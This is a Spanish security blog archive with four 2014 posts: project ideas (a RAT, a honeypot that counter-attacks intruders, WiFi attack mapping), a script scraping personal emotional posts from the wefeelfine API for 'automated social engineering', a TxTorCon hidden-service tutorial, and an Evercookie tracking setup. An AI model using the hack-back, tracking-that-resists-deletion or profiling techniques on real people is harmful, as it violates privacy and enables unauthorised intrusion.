Archivo

Archive for the ‘Programacion’ Category

7 ideas de desarrollo de software enfocadas a la seguridad informática para el 2015

diciembre 16, 2014 1 comentario

Cada semana suelo dedicar un rato en pensar en qué cosas me gustaría trabajar, qué herramientas me gustaría desarrollar y qué quiero estudiar en mi tiempo libre, así como también las cosas quiero evitar a toda costa en mi vida profesional. Lo considero un ejercicio muy entretenido y que me ayuda a mejorar mi creatividad y a lo mejor, algún día pueda tirar de algunas de ellas para dedicarme a tiempo completo. “Sueños” aparte, cuando alguien quiere escribir una herramienta enfocada a la seguridad, antes de pensar en el lenguaje de programación o requisitos técnicos/funcionales específicos, es necesario preguntarse, dos cosas: “por qué” y “para qué”. El “por qué” es importante, ya que permite definir objetivos claros sobre lo que queremos hacer, una serie de funciones que pretenden cubrir una necesidad, automatizar alguna tarea concreta o simplemente por aprendizaje/diversión. Luego, hay que pensar en el “para qué” y definir si realmente es algo que le va a servir a la comunidad. Hay que tener en cuenta que es posible que existan otras herramientas que ya hacen lo mismo que quieres hacer con la tuya y no tiene sentido reinventar la rueda. Por ejemplo, ¿Quieres desarrollar un servidor web? bueno… ya existen algunos cuantos muy buenos y si consideras que puedes hacer algo interesante que no hacen servidores como Apache o NGINX, cabe preguntarse, ¿No sería mejor hacer un plugin o un modulo con esa funcionalidad concreta para alguno de esos servidores?.
¿Quieres hacer un escáner de puertos? bueno… si crees que lo puedes hacer mejor que  Nmap, Hping3, Queso y un largo, larguísimo etcétera de herramientas que sirven para lo mismo, adelante!.

Para que tu proyecto tenga éxito, tiene que ser novedoso, cubrir una necesidad concreta y que tenga tu “sello personal”. De esta forma ganaras visibilidad y la gente podrá ver lo que has hecho. A continuación, te dejo un listado de 7 ideas de proyectos que a lo mejor te pueden interesar y si quieres puedes poner en marcha en cualquier momento.

  1. Desarrollo de un RAT.

Un RAT  es una herramienta que permite la administración remota de un ordenador y normalmente cuenta con una serie de funciones que permiten, literalmente, hacer de todo en el ordenador donde se encuentra instalado el programa. Es un tipo de herramienta que suele ser utilizada por equipos de mantenimiento para la resolución de incidencias concretas, sin embargo, también es una herramienta muy común cuando se habla de cibercrimen y de APTs. Existen muchas herramientas con estas características y probablemente una de las más conocidas es “TeamViewer”, pero también han sonado otras como PoisonIvy o DarkComet en temas relacionados con campañas de APTs de alto nivel.
El beneficio que conseguirás creando una herramienta con estas características, es la cantidad de conocimientos técnicos que adquirirás, ya que incluye muchas funciones, tales como la posibilidad de ejecutar comandos en una consola, subir/descargar ficheros, controlar cualquier dispositivo conectado al ordenador, etc.

  1. Plataforma portable de servicios ocultos en redes anónimas como TOR o I2P.

Si tienes servicios ocultos en TOR o I2P, en la mayoría de casos los ejecutarás desde tu ordenador y punto, pero si para ti es realmente importante el anonimato y te conectas desde varios ordenadores lo más probable es que te interese montar y eliminar tus servicios ocultos de forma automática o si lo haces desde una máquina virtual del estilo de TAILS, lo que tengas en dicha máquina virtual será eliminado después de que termines tu trabajo.

Una aplicación interesante puede consistir en el levantamiento automático de una instancia de TOR y de una serie de servicios ocultos del tipo HTTP, SSH, SMB, etc.

Si por ejemplo, eres un periodista que trabaja en zonas en conflicto y que utilizas constantemente TOR desde el ordenador que te pille mejor para compartir privadamente tus reportajes, una plataforma con estas características puede venir muy bien, ya que se encargará de la configuración de los servicios ocultos y de levantar los servidores por ti, en un instante lo tienes todo montado y funcionando.

  1. Desarrollo de un spider con funciones para análisis de metadatos.

Existen muchas librerías y herramientas para iniciar procesos de crawling y scrapping en aplicaciones web, sin embargo, algo que siempre echo en falta, es la capacidad de descargar documentos, imágenes y cualquier otro recurso de una aplicación web y almacenar dicha información de forma “inteligente” basándome en los metadatos de dichos documentos. Evidentemente, el proceso de crawling funcionará igual que como lo hacen muchas de las herramientas y frameworks que existen en el mercado, pero además, descargarás contenidos como imágenes y documentos basándote únicamente en una serie de patrones predefinidos. Esto te permite descargar solamente el contenido que te interesa (independiente de cuál sea tu interés :-) )

  1. Asistente y simulador de reglas para Snort.

Snort es uno de los NIDS más potentes que conozco, además de que se trata de un proyecto Open Source, que desde luego son los que más me gustan. Sin embargo, crear reglas robustas y que permitan detectar ataques y amenazas en el segmento de red no es una tarea para nada trivial, de hecho, conocer todas las directivas que se pueden utilizar en una regla de Snort y su comportamiento es de las cosas más complicadas a las que se puede enfrentar un administrador de redes que desea mantener su entorno seguro. Que yo sepa, el desarrollo de este tipo de reglas se hace manualmente, no conozco herramientas que permitan facilitar su creación y mucho menos que permitan simular su  comportamiento ante diferentes tipos de ataque. Una buena idea que puede resultar interesante a más de uno es justamente desarrollar un asistente que permita crear reglas de Snort de forma interactiva y que una vez creadas, tenga la opción de levantar Snort y simular su comportamiento llevando a cabo diferentes tipos de ataques predefinidos en la simulación, como por ejemplo ataques DoS, escaneos, patrones de shellcodes, etc. Creo que puede ser un proyecto muy interesante que aportaría un valor enorme a los administradores de red que diariamente se tienen que pegar con Snort.

  1. Plataforma de honeypots para múltiples servicios

Un honeypot es un sistema que se encarga de levantar un servicio determinado que intenta simular un sistema vulnerable, pero sin ser realmente un servicio utilizado y mucho menos, con recursos sensibles. Uno de los más conocidos es “Kippo”, un honeypot de un servidor SSH completo, en el que se puede incluso definir un sistema de archivos y un usuario y contraseña predecibles, todo esto con el fin de atraer atacantes. La idea consiste en levantar múltiples honeypots para diferentes tipos de servicios, tales como SSH, FTP, SMB, HTTP, etc. Además, utilizar un firewall como NetFilter/IPTables para filtrar todo el trafico entrante por puertos como el 21, 22, 80, 139, 443, 8080, etc. Al puerto en el que se encuentre en ejecución el honeypot correspondiente. Del mismo modo que ocurre con “Kippo”, si un atacante entra en el sistema utilizando las credenciales intencionalmente predecibles, la plataforma de honeypot puede ejecutar un “contra-ataque” contra el atacante. Se trata de una idea que puede ser interesante para temas relacionados con la ciberdefensa y la seguridad ofensiva. Existen proyectos similares a éste, como por ejemplo MHN (http://threatstream.github.io/mhn/) sin embargo, solamente se limitan al registro de ataques y no en ejecutar el siguiente paso correspondiente al “contra-ataque”, que puede consistir simplemente en recolectar información sobre el atacante, detectar vulnerabilidades y posteriormente realizar las tareas correspondientes a la explotación y post-explotación.

  1. Plugins para Tortazo!

Para aquellos que se encuentran interesados en la red de TOR, a lo mejor les resulte útil aprender a escribir plugins para Tortazo. No se trata de una herramienta simple, no es fácil de instalar por la cantidad de dependencias necesarias, tienes que tener ciertos conocimientos para poder sacarle el máximo provecho y todo esto es así de forma premeditada ya que la filosofía de Tortazo es “anti-script kiddies”. Nunca ha sido mi intención crear una herramienta como Metasploit, en la que la gente lanza módulos y exploits contra otros sistemas y no se enteran de qué es lo que realmente están haciendo esas utilidades ni mucho menos, comprenden el funcionamiento de los exploits que se ejecutan. Ese tipo de herramientas, aunque son extremadamente útiles y ahorran mucho tiempo, suelen fomentar la pereza entre novatos y personas con escasos conocimientos en seguridad, aquellos que quieren las cosas rápido y fácil, sin dedicar el tiempo suficiente en aprender cómo funcionan las herramientas que utilizan.
Si te interesa TOR y Tortazo, puedes escribir plugins que se conecten a la web profunda de TOR utilizando una sencilla API incluida en Tortazo, la cual tiene funciones para realizar conexiones a diversos tipos de servicios ocultos (SSH, SMB, FTP, HTTP, etc.) así como también realizar actividades de recolección de información sobre los repetidores que conforman la red de TOR.

  1. Mapeo de redes inalámbricas a nivel metropolitano.

Para aquellos que conocéis WiGLE, probablemente ya sepáis de qué va esta idea, para los que no, basta con comentar que se trata de una base de datos enorme con información sobre redes inalámbricas a nivel mundial. En la ciudad en la que vivo actualmente (Madrid) hay redes inalámbricas a cualquier sitio al que te dirijas, muchas tienen vulnerabilidades fáciles de explotar y otras se encuentran abiertas (en muchas ocasiones de forma deliberada para atacar a los clientes que se conectan). WiGLE tiene mucha información de redes en USA, pero en el caso de España, no veo tantos registros, por este motivo una buena idea puede ser intentar hacer lo mismo que hace WiGLE pero con un enfoque distinto, además de identificar y registrar redes inalámbricas en una base de datos, almacenar también su localización aproximada, intentar auditarlas intentando ejecutar los vectores de ataque más comunes (hirte, coffe latte, fragmentación, etc.) y determinar cuáles son vulnerables. Un programa de estas características puede funcionar bastante bien si el atacante se encuentra en constante movimiento, por ejemplo, si se desplaza en transporte público y deja al programa recibiendo “Beacon Frames” de los puntos de acceso cercanos y además, realizar las pruebas de penetración típicas contra este tipo de redes. Se trata de una actividad que en la mayoría de países puede ser considerada ilegal en el caso de que se acceda sin permisos a dichas redes, con  lo cual lo mejor es limitar el ataque únicamente al reconocimiento de vulnerabilidades y su posterior registro y aunque no soy partidario, ni me gusta la gente que se dedica a usar herramientas como “aircrack-ng” para fastidiar a otros, creo que es un proyecto del que se puede aprender bastante sobre el funcionamiento de las redes inalámbricas y sobre cómo crear programas de auditoría contra dichos entornos de red.

Son simplemente ideas que se me han ido ocurriendo y que a lo mejor, te pueden resultar interesantes como proyecto a implementar el año que viene. En fin, otra idea de proyecto puede ser, como propósito general, aprender a programar mejor, dedicar tiempo y enfocar esfuerzos en adquirir esos conocimientos que son tan importantes y que os van a servir para crear cosas novedosas que seguro nos van a sorprender a todos!

Un Saludo y Happy Hack!
Adastra.

Registro y análisis de emociones con Wefeelfine – Ingeniería social automatizada

diciembre 9, 2014 1 comentario

El campo de la psicología y todo lo relacionado con los fenómenos socio-culturales siempre me han parecido muy interesantes en los que creo que hay mucho por hacer, especialmente desde el punto de vista de la informática, ya que estamos hablando de un campo del conocimiento que aun no ha alcanzado el grado madurez que tienen otros campos del conocimiento humano. No obstante, existen muchos documentos y herramientas que permiten comprender mejor la naturaleza de las emociones humanas y la forma en la que pueden afectar el comportamiento de una persona. La ingeniería social es una de dichas herramientas y se basa en una serie de principios generales que son transculturales y que suelen aplicar a un porcentaje de la población bastante alto, sin embargo su enfoque, como seguramente ya lo sabes, consiste principalmente en detectar las vulnerabilidades que pueda tener una persona en varios niveles, así como también para la detección del engaño. Los ingenieros sociales suelen conocer bastante bien los principales rasgos psicológicos y culturales de las personas con las que tratan, tal es su conocimiento sobre el comportamiento y la psique humana que son capaces de “cambiar” su modo de hablar, de expresarse y de transmitir ideas a las personas con las que se comunican con el fin de generar un sentimiento de confianza y conexión a su interlocutor. Se trata de una habilidad que en muchas ocasiones es innata en una persona, es simplemente su forma de ser y suelen generar un ambiente amigable y jovial allí donde vayan. Muchas personas son así por naturaleza, inmediatamente nos generan sentimientos agradables y nos sentimos más relajados y dispuestos a transmitir información. Los mejores ingenieros sociales son aquellos no fuerzan las cosas y que con una habilidad asombrosa controlan el flujo de los acontecimientos y las conversaciones, dando lugar a situaciones que les resultan favorables y muy ventajosas. Si bien suelen ser habilidades que son innatas en la mayoría de ingenieros sociales, no significa que no puedan ser desarrolladas comprendiendo cada uno los puntos vitales del Social Engineering Framework, solamente hace falta practica y mucha paciencia, pero al hablar de practica, no me refiero a utilizar SET desde casa y crear el típico Applet malicioso, me refiero a hablar con la gente que te rodea y tratar de conocer su “mindset” o conjunto de habilidades, características y rasgos psicológicos.

Ahora bien, como resulta evidente, las emociones juegan un papel central cuando hablamos de relaciones humanas. Lo que sentimos por otras personas impactan directamente en nuestro comportamiento y además, con el tremendo auge de las redes sociales, parece ser que hoy en día todo el mundo se siente mucho más a gusto expresando lo que piensan o sienten en Facebook, Twitter o otro cualquier sitio en Internet como blogs o foros que hablando personalmente con la gente. Es algo que siempre me ha parecido de lo más curioso y desde hace varios años, aprovechando la abrumadora cantidad de frases cargadas con diferentes tipos de sentimientos de personas que escriben en Internet, se ha creado un proyecto que desde mi punto de vista es uno de los mejores proyectos informáticos relacionados con el estudio y categorización de las emociones humanas, se trata de wefeelfine.org

Wefeelfine es una plataforma muy completa que se encarga de analizar blogs, foros, redes sociales con perfiles públicos y otros tipos de espacios personales en los que las personas transmiten sus ideas y se expresan, se trata de una herramienta de exploración de emociones a escala global. Además de recolectar información, su plataforma puede ser consultada en cualquier momento y admite varios tipos de filtros relacionados con el genero de las personas, edad, ciudad, o incluso una serie de emociones muy concretas, tal como se puede apreciar en las siguientes imágenes.

feeling1

Nube de sentimientos recolectados por wefeelfine.org

feeling2

Aplicando los filtros: Sentimiento=tense, Genero=Femenino, Edad=Entre 30 y 39 años, Condiciones climáticas=Todas, País=España, Fechas=Todas

Por otro lado, cuenta con varias vistas que permiten visualizar la información de la forma en la que resulte más cómoda para el usuario, tal como se indica en el apartado “movements”: http://wefeelfine.org/movements.html

Personalmente, la característica que me parece más interesante de la plataforma son los servicios REST que se encuentran definidos para que cualquier desarrollador pueda consultarlos. La API para poder invocar a dichos servicios de forma correcta se encuentra definida en el siguiente enlace: http://www.wefeelfine.org/api.html y no requiere ningún tipo de autenticación y/o autorización, son servicios abiertos que cualquiera puede utilizar en un momento dado.

Tal como se aprecia en la siguiente imagen, es posible utilizar un navegador web para invocar a cualquiera de los servicios disponibles e inspeccionar la respuesta para ver los datos que ha devuelto.

feeling3

Invocación a la API de wefeelfine desde un navegador web

Ahora bien, lo más común es crear rutinas que invoquen a dichos servicios para automatizar el proceso de consulta y en ese sentido, es posible utilizar cualquier lenguaje de programación ya que solamente es necesario realizar una petición HTTP y parsear la respuesta. El siguiente script es un buen ejemplo del uso de Python para consultar y parsear algunos de los servicios disponibles en la API de wefeelfine.

import requests 
from bs4 import BeautifulSoup 
def search(api, text): 
    response = requests.get(api) 
    soup = BeautifulSoup(response.content, 'lxml') 
    feelings = soup.feelings.find_all("feeling") 
    print text 
    for feeling in feelings: 
        if feeling.has_key("feeling"): 
            print "[*] Sentimiento: %s " %(feeling['feeling']) 
        if feeling.has_key("sentence"): 
            print "[*] Sentencia: %s " %(feeling['sentence'])                
        if feeling.has_key("postdate"): 
            print "[*] Fecha: %s " %(feeling['postdate'])                
        if feeling.has_key("posturl"): 
            print "[*] URL Origen: %s " %(feeling['posturl'])                
        print "\n" 
search("http://api.wefeelfine.org:8080/ShowFeelings?display=xml&returnfields=imageid,feeling,sentence,posttime,postdate,posturl,gender,born,country,state,city,lat,lon,conditions&limit=10","[*] Consultando los ultimos 10 sentimientos registrados") 


search("http://api.wefeelfine.org:8080/ShowFeelings?display=xml&returnfields=imageid,feeling,sentence,posttime,postdate,posturl,gender,born,country,state,city,lat,lon,conditions&feeling=sad&city=madrid&limit=10&gender=female", "[*] Consultando los ultimos 10 sentimientos registrados de personas con genero 'femenino' que se sienten 'felices'") 

La función “search” es la que se encarga de utilizar la librería “requests” para ejecutar una petición HTTP contra el servicio REST indicado y parsear la respuesta utilizando la librería BeautifulSoup, la cual se encuentra en formato XML.

Es un script muy simple y que refleja la cantidad de información que se puede extraer de la plataforma. Aunque muchos de los sentimientos registrados se encuentran en ingles, los sentimientos expresados en castellano en blogs, redes sociales y cualquier otro sitio web en Internet, quedan prácticamente excluidos de la plataforma, ¿Acaso os estoy dando ideas para un próximo proyecto? ;-).
Es una plataforma muy interesante y el estudio realizado por los investigadores que han montado la plataforma es simplemente brillante y para aquellas personas a las que nos interesan los temas relacionados con la informática, el hacking y las ciencias humanas como la filosofía y la psicología, puede resultar muy entretenido. Os recomiendo su lectura: http://wefeelfine.org/wefeelfine.pdf

Un Saludo y Happy Hack!

Creando sitios ocultos en TOR de forma programática con TxTorCon

diciembre 4, 2014 1 comentario

Anteriormente he hablado sobre el uso de Stem para controlar instancias de TOR, una potente librería que no solamente se aprovecha del protocolo de control de TOR para la administración remota de una instancia en ejecución, sino que también cuenta con algunas utilidades para arrancar una nueva instancia con configuración personalizada, descargar y parsear los descriptores emitidos por las autoridades de directorio, entre muchas otras funcionalidades útiles. Es una librería que se explota bastante bien en Tortazo, una de las herramientas que he escrito para realizar pruebas de penetración contra repetidores de salida y servicios ocultos en la red de TOR.
Aunque Stem es una librería muy potente, existen otras alternativas que cuentan con las mismas capacidades y en esta ocasión, voy a hablar sobre TXTORCON.

¿Por qué TxTorCon? Porqué se trata de una implementación del protocolo de control de TOR basada en Twisted y a diferencia de Stem, TxTorCon es una implementación asíncrona. Una librería como TxTorCon permitirá crear programas reactivos que se encargarán de ejecutar acciones sobre una o varias instancias de TOR ante una lista de eventos predefinidos.

En esta entrada se verá cómo se puede utilizar TxTorCon para crear servicios ocultos en TOR de forma programática y aunque lo que se verá a continuación también se puede hacer con Stem, se trata de un ejercicio practico muy interesante que servirá para conocer los elementos básicos y la “metodología” que se debe seguir cuando se programa con esta librería.

Antes de continuar, se recomienda al lector tener claros los conceptos básicos sobre la configuración de una instancia de TOR y conocer bastante bien las propiedades admitidas en el fichero “torrc”, aunque crear un servicio oculto no es una tarea compleja ya que solamente es necesario definir la opción de configuración “HiddenService” en el fichero de configuración “torrc” tantas veces como servicios ocultos se desee crear, lo que si que puede ser complicado es mantener el servicio oculto correctamente securizado, pero eso es un tema del que se hablará en un próximo artículo.

En primer lugar, es importante conocer el uso de la clase “txtorcon.TorConfig” ya que en dicha clase es donde definen todos los elementos de configuración de una instancia de TOR y dicho elemento puede ser utilizado para levantar la instancia de forma programática utilizando TxTorCon.

import txtorcon
config = txtorcon.TorConfig()
config.SOCKSPort = 9051
config.ORPort = 4443
…..
config.save()

La clase “txtorcon.TorConfig” maneja un diccionario interno con las propiedades que se pueden definir en un fichero de configuración de TOR, con lo cual el programador debe definir cada propiedad como un atributo de instancia.

Ahora bien, para definir uno o varios servicios ocultos, es necesario crear un listado de instancias de la clase “txtorcon.HiddenService”. Dicho listado se almacenará en la variable “HiddenServices” de la instancia de “txtorcon.TorConfig” creada previamente.
La siguiente función servirá para definir los detalles de configuración básicos para iniciar una instancia de TOR con un servicio oculto.

import txtorcon
import functools
import tempfile
import os
from twisted.internet import reactor 

def createTemporal():
    tempDir = tempfile.mkdtemp(prefix='torhiddenservice')
    reactor.addSystemEventTrigger('before', 'shutdown',
functools.partial(txtorcon.util.delete_file_or_tree, tempDir))
    return tempDir 

def configuration(hiddenserviceDir, serviceInterface,
servicePort=8080, hiddenservicePort=80):
    if hiddenserviceDir is None:
        print "[+] HiddenServiceDir not specified... Generating
a temporal file."
        hiddenserviceDir = createTemporal()
    if os.path.exists(hiddenserviceDir) == False:
        print "[+] The HiddenServiceDir specified does not
exists... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    config = txtorcon.TorConfig()
    config.SOCKSPort = 9051
    config.ORPort = 4443
    config.HiddenServices = [txtorcon.HiddenService(config,
hiddenserviceDir, ["%s %s:%s" %(str(hiddenservicePort),
serviceInterface, str(servicePort))] )]
    config.save()
    return config 

configuration('/home/adastra/Escritorio/django-hiddenservice',
'127.0.0.1')

La función “configuration” se encarga de recibir como argumento todos los elementos necesarios para establecer un servicio oculto en la configuración definida en el objeto “txtorcon.TorConfig” y posteriormente dicho objeto es retornado. Por otro lado, la función “createTemporal” es invocada internamente por la función “configuration” con el fin de devolver un directorio temporal para el servicio oculto en el caso de que el directorio indicado por parámetro sea invalido.

Ahora que la configuración se encuentra preparada, el siguiente paso consiste en utilizarla para iniciar la instancia de TOR en cuestión.

import txtorcon
import functools
import tempfile
import os
from twisted.internet import reactor 

def createTemporal():
    tempDir = tempfile.mkdtemp(prefix='torhiddenservice')
    reactor.addSystemEventTrigger('before', 'shutdown',
functools.partial(txtorcon.util.delete_file_or_tree, tempDir))
    return tempDir 

def configuration(hiddenserviceDir, serviceInterface,
servicePort=8080, hiddenservicePort=80):
    if hiddenserviceDir is None:
        print "[+] HiddenServiceDir not specified... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    if os.path.exists(hiddenserviceDir) == False:
        print "[+] The HiddenServiceDir specified does not exists... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    config = txtorcon.TorConfig()
    config.SOCKSPort = 9051
    config.ORPort = 4443
    config.HiddenServices = [txtorcon.HiddenService(config,hiddenserviceDir, ["%s %s:%s" %(str(hiddenservicePort),serviceInterface, str(servicePort))] )]
    config.save()
    return config 

def updates(prog, tag, summary):
    print "%d%%: %s" % (prog, summary) 

def setup_complete(config, proto):
    print "TOR Instance started!" 

def setup_failed(arg):
    print "SETUP FAILED", arg
    reactor.stop() 

def startTor(config):
    d = txtorcon.launch_tor(config, reactor,progress_updates=updates)
    d.addCallback(functools.partial(setup_complete, config))
    d.addErrback(setup_failed)
    reactor.run()
torrc = configuration('/home/adastra/Escritorio/hidden_service_django','127.0.0.1')
startTor(torrc)

En esta nueva versión del script se ha incorporado la función “startTor”, la cual se encarga de utilizar la configuración retornada por la función “configuration” para iniciar TOR. Como se puede apreciar, dicha función emplea la utilidad “txtorcon.launch_tor” enviando como argumentos, la configuración de TOR, el reactor de Twisted y una función de callback para procesar cada uno de los eventos producidos durante proceso de inicio. Finalmente, se adicionan dos funciones más en el caso de que el proceso de arranque haya ido bien o en el caso de fallo.

Después de ejecutar el script anterior, se podrá ver por consola algo muy similar a lo que se enseña en la siguiente imagen.

txtorcon1

El script puede parecer complejo pero tal como se ha explicado anteriormente, si se conoce el funcionamiento de Twisted y las funcionalidades básicas de TxTorCon, no resulta tan complicado de comprender.
Hasta este punto se asume que en la máquina local se encuentra un servicio levantado y esperando conexiones, más concretamente en el puerto “8080”. Evidentemente, dado el escenario anterior es necesario levantar un servidor web con Tomcat, una aplicación con Django o cualquier otro servicio en dicho puerto, pero dadas las características de Twisted, también es posible crear un servidor web simple directamente desde el script y de esta forma, se contará con una herramienta completamente funcional que puede levantar un servicio oculto sin depender de ningún programa externo (excepto el propio ejecutable de TOR).

import txtorcon
import functools
import tempfile
import os
from twisted.web import static, resource, server
from twisted.internet import reactor
from twisted.internet.endpoints import TCP4ServerEndpoint 

def createTemporal():
    tempDir = tempfile.mkdtemp(prefix='torhiddenservice')
    reactor.addSystemEventTrigger('before', 'shutdown',
functools.partial(txtorcon.util.delete_file_or_tree, tempDir))
    return tempDir 

def configuration(hiddenserviceDir, serviceInterface,
servicePort=8080, hiddenservicePort=80):
    if hiddenserviceDir is None:
        print "[+] HiddenServiceDir not specified... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    if os.path.exists(hiddenserviceDir) == False:
        print "[+] The HiddenServiceDir specified does not exists... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    config = txtorcon.TorConfig()
    config.SOCKSPort = 9051
    config.ORPort = 4443
    config.HiddenServices = [txtorcon.HiddenService(config,hiddenserviceDir, ["%s %s:%s" %(str(hiddenservicePort),serviceInterface, str(servicePort))] )]
    config.save()
    return config 

def updates(prog, tag, summary):
    print "%d%%: %s" % (prog, summary) 

def setup_complete(config, proto):
    print "TOR Instance started!" 

def setup_failed(arg):
    print "SETUP FAILED", arg
    reactor.stop() 

def startTor(config):
    #Starting a simple web site.
    root = static.File('/opt/WebSite')
    site = server.Site(root)
    hs_endpoint = TCP4ServerEndpoint(reactor, 8080,interface='127.0.0.1')
    hs_endpoint.listen(site)
    d = txtorcon.launch_tor(config, reactor,progress_updates=updates)
    d.addCallback(functools.partial(setup_complete, config))
    d.addErrback(setup_failed)
    reactor.run() 

torrc =configuration('/home/adastra/Escritorio/django-hiddenservice','127.0.0.1')
startTor(torrc)

El programa anterior solamente añade los elementos necesarios para declarar un servidor web cuyo directorio raíz es “/opt/WebSite”. Dicho servidor web se levantará en el puerto 8080 en la interfaz de red local, tal como se ha definido en la configuración del servicio oculto. Con todo esto, después de que la instancia de TOR se levante y se creen los ficheros correspondientes al dominio “onion” y a las claves del servicio, cualquier cliente que intente ingresar por dicha la dirección onion del servicio oculto, podrá ver los contenidos del servidor web que se ha iniciado utilizando Twisted. La siguiente imagen enseña algo muy similar a lo que el usuario final verá en su navegador.

txtorcon2

Como se puede apreciar, al acceder a la dirección onion del servicio oculto, se pueden visualizar los contenidos del directorio “/opt/WebSite”, que es el directorio que se ha indicado como raíz del servidor web.

Aunque aquí se ha enseñado como crear un servicio web en la red de TOR, también es posible crear cualquier otro tipo de servicio siguiendo exactamente la misma dinámica que se ha explicado aquí, como por ejemplo por un servidor SSH/SFTP con Paramiko, un servidor FTP o incluso un servidor SMB. Tienes a tu disposición muchas alternativas a la hora de automatizar la creación de servicios ocultos en la web profunda de TOR.

Un Saludo y Happy Hack!

Cookies persistentes para tracear la navegación de un usuario con EverCookie

diciembre 2, 2014 2 comentarios

Las cookies son un elemento de lo más común en las aplicaciones web actuales y seguramente el lector sabe perfectamente cómo funcionan, sin embargo, para aquellos que no lo saben, basta con comentar que las cookies son ficheros temporales que se almacenan en el navegador del cliente y permiten simplificar el proceso de identificación y posterior comunicación con una aplicación web. Dado que HTTP es un protocolo sin estado, el uso de las cookies es realmente útil para conservar información que ha intercambiado previamente entre cliente y servidor. Prácticamente todos los sitios web en Internet hacen uso de las cookies, sin embargo, la información que se almacena en las cookies puede ser utilizada para identificar y perfilar a un usuario. Con las cookies se puede identificar la navegación de un usuario por un sitio web y de esta forma, tracear las páginas que visita, conociendo sus intereses y otras características del usuario. Esto no es necesariamente algo negativo, de hecho, puede ser muy beneficioso para el usuario ya que de esta forma el sitio web puede conocer sus preferencias y de esta forma, actuar en consecuencia para ofrecerle los contenidos que más le puedan interesar. Por ejemplo, en el caso de una tienda online de ropa, se pueden utilizar las cookies para saber si el usuario ha ingresado previamente en el sitio web y si ese es el caso, presentar ofertas o productos personalizados dependiendo de las páginas que ha visitado. No obstante, cuando dicha información es compartida con otros sitios web ajenos, es cuando muy posiblemente se está violando la privacidad del usuario, ya que evidentemente no ha dado un consentimiento expreso de compartir con otros sitios web las páginas que ha visitado, la información que ha podido ingresar, etc. Esto es común en sitios web dedicados a la publicidad y el marketing, los cuales utilizan la información compartida por otros sitios web para perfilar gustos, afinidades y tendencias de los usuarios, así como identificarles.
Ahora bien, las cookies son elementos que se pueden eliminar muy fácilmente del navegador y en la mayoría de casos no representarán ningún problema, sin embargo, las cookies persistentes, a diferencia de las cookies tradicionales, utilizan múltiples espacios de almacenamiento en el cliente y de esta forma, resulta muy complicado eliminar toda la información que almacena una cookie de estas características del navegador. Para que el lector se haga una idea, una cookie persistente puede almacenar información en el espacio estándar de cookies, en el espacio de “websql” del navegador, en el espacio de almacenamiento local, global y de sesión, en cookies flash (objetos locales compartidos), en la cache del navegador, entre otros. Cuando el usuario elimina dichas cookies desde uno o varios de estos espacios, pero no de todos, el sitio web que ha implementado la cookie persistente es capaz de detectar que se ha intentado eliminar la información de la cookie uno o varios de dichos espacios de almacenamiento y se encarga de reestablecer los valores, revirtiendo la acción de borrado realizada por el usuario, es decir, el usuario tiene que eliminar la información de la cookie de todos los sitios donde se ha guardado y si le falta al menos uno por limpiar, dichos valores volverán a ser replicados en todas las zonas de almacenamiento.

Las cookies persistentes representan una forma muy agresiva de tracear la navegación de un usuario y una de las más conocidas es la que ha desarrollado el investigador Samy Kamkar (también conocido por el desarrollo del virus “Samy”) la cual recibe el nombre de “evercookie”.

Uso de Evercookie

Se trata de una API que cuenta con varios elementos que desde el punto de vista técnico resultan muy interesantes, pero que desde una perspectiva practica, se relacionan más con campañas de marketing agresivas y con el perfilado de los usuarios, actividades que suelen ser consideradas ilegales. Esta herramienta cuenta con una API en Javascript que permite crear cookies persistentes que a la fecha de redactar este artículo, se incluyen en las siguientes zonas del navegador del cliente.

- Cookies HTTP estándar.

- Objetos compartidos locales (Cookies Flash).

- Almacenamiento en Silverlight

- Almacenamiento de cookies en formato RGB usando la etiqueta “canvas” de HMTL5

- Múltiples ubicaciones de almacenamiento definidas en la especificación de HTML5 (Almacenamiento local, global, sesion, WebSQL con SQLite y WebSQL con IndexedDB).

- Almacenamiento persistente en JNLP PersistenceService.

Para utilizar esta librería se debe descargar desde el repositorio de GitHub ubicado en la siguiente ruta: https://github.com/samyk/evercookie y posteriormente, se puede comenzar a utilizar la API de Javascript que permite crear páginas web que insertan una cookie de evercookie en los clientes que acceden a dichas páginas.

En esta entrada voy a explicar cómo utilizar esta librería para crear cookies persistentes y vamos a ver algunas de las zonas en las que se almacenan las cookies que se van creando.

Después de descargar o clonar el proyecto desde el repositorio de GitHub, se debe crear un fichero HTML que será incluido en un servidor web como Apache.
En este caso concreto, con el objetivo de probar el funcionamiento de Evercookie, se ha creado un directorio llamado “test” en el directorio “htdocs” de un servidor web Apache y en dicho directorio se han incluido los siguientes recursos, los cuales son los que se han obtenido del proyecto de Evercookie.

evercookie1

El contenido inicial de la página “index.html” es el que se indica a continuación y como se puede apreciar, no solamente incluye el script “js/evercookie.js”, sino que también se hace uso de la API para crear y almacenar cookies persistentes.


<html> 

<head> 

    <script type="text/javascript"
src="js/swfobject-2.2.min.js"></script> 

    <script type="text/javascript"
src="js/evercookie.js"></script> 

    <script> 
    var ec = new evercookie({ 
    	baseurl: '/test', 
    	asseturi: '/assets', 
    	phpuri: '/php' 
    }); 
  ec.set("user", "adastra"); 
  ec.get("user", function(value) { alert("Cookie value is " + value) }); 
  function getCookie(best_candidate, all_candidates) 
  { 
    for (var item in all_candidates) 
      document.write("Storage mechanism " + item + 
        " returned " + all_candidates[item] + "
votes<br>"); 
    } 
    ec.get("user", getCookie); 
    </script> 
</head> 
<body> 
<h1>evercookie!</h1> 
</body> 
</html>

Lo primero que hace es crear un objeto del tipo “evercookie” indicando la URI del sitio web y la ubicación de los recursos necesarios para crear la cookie. Posteriormente, las funciones “set” y “get” permiten crear y recuperar un cookie respectivamente. Como se puede apreciar, la función “get” permite definir una función de callback que tratará el valor de una cookie que se ha guardado previamente con un identificador determinado.

Aunque el código puede parecer simple, en el momento de probar la librería he experimentado algunos problemas relacionados con la adición de capas en el árbol DOM de la página, ya que al parecer, cuando Evercookie se ejecuta sobre el navegador Chrome, Evercookie intenta añadir elementos al cuerpo de la página antes de que el árbol DOM se encuentre correctamente creado, lo cual da como resultado errores similares a los que se pueden ver en la siguiente imagen.

evercookie2

La solución a este problema pasa simplemente por realizar una verificación previa del árbol DOM antes de intentar insertar elementos en cualquier tag. Por ejemplo, en la linea 956 del fichero “js/evercookie.js” veremos el siguiente fragmento de código:

      if (append) { 
        document.body.appendChild(el); 
      }

